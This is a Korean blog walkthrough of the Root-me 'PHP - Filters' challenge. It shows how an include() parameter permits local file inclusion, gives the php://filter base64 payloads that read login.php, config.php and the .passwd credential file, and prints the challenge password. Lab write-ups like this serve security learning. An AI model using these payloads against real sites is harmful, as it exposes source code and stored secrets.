-
<Root-me> PHP - FiltersWargame/Root-me = Web - Server 2022. 1. 13. 02:57
파일을 보기 위해서는 로그인하라고 한다.
login을 누르면
로그인 폼이 뜬다.
하지만 로그인에 대한 정보나 힌트를 찾을 수 없다.
URL을 보면 각 페이지를 요청하기 위해 GET Method를 사용하는 것을 알 수 있다.
inc의 값으로 상위 경로를 뜻하는 ../을 입력해보면
경고를 출력하는데, include()로 보아 LFI 취약점 공격을 생각할 수 있다.
PHP Wrapper를 통해 소스 코드를 볼 수 있다.
가장 많이 사용되는 방법인 php://filter를 사용하여 로그인 페이지의 소스 코드를 찾아보기 위해
?inc=php://filter/convert.base64-encode/resource=login.php를 입력하면
긴 문자열 하나가 출력된다.
이 문자열은 base64 인코딩된 값이기에 base64 디코딩해보면
<?php include("config.php"); if ( isset($_POST["username"]) && isset($_POST["password"]) ){ if ($_POST["username"]==$username && $_POST["password"]==$password){ print("<h2>Welcome back !</h2>"); print("To validate the challenge use this password<br/><br/>"); } else { print("<h3>Error : no such user/password</h2><br />"); } } else { ?> <form action="" method="post"> Login <br/> <input type="text" name="username" /><br/><br/> Password <br/> <input type="password" name="password" /><br/><br/> <br/><br/> <input type="submit" value="connect" /><br/><br/> </form> <?php } ?>
위와 같은 php 코드가 나온다.
POST로 받은 username과 password가 변수 username과 password와 같으면 된다.
config.php 파일에 변수 username과 password에 대한 설정 값이 포함되있는 것 같다.
문제 페이지에서
?inc=php://filter/convert.base64-encode/resource=config.php를 입력하면
이 문자열을 base64 디코딩해보면
<?php $username="admin"; $password="".file_get_contents(".passwd").""; ?>
비밀번호는 .passwd 파일을 문자열로 읽어온다.
?inc=php://filter/convert.base64-encode/resource=.passwd를 입력하면
이것도 base64 디코딩해보면
DAPt9D2mky0APAF
비밀번호를 획득할 수 있다.
'Wargame > Root-me = Web - Server' 카테고리의 다른 글
<Root-me> Python - Server-side Template Injection (0) 2022.01.15 <Root-me> PHP - register globals (0) 2022.01.14 <Root-me> File upload - Null byte (0) 2022.01.11 <Root-me> Directory traversal (0) 2022.01.11 <Root-me> PHP - assert() (0) 2022.01.10